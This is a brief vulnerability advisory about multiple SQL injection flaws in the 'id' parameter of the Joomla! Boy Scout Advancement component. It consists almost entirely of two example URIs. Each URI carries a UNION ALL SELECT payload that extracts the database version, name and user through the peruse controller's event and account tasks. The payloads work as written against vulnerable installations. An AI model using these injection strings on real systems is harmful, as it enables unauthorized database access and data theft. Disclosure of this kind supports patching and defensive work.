Joomla! Boy Scout Advancement 'id' Parameter Multiple SQL Injection Vulnerabilities

Joomla! Boy Scout Advancement 'id' Parameter Multiple SQL Injection Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com/[PATH]/index.php?option=com_bsadv&controller=peruse&task=event&id=-1+UNION+ALL+SELECT+1,version(),database(
),user()%23

http://www.example.com/[PATH]/index.php?option=com_bsadv&controller=peruse&task=account&id=-1+UNION+ALL+SELECT+database(),version(
)%23&Itemid=57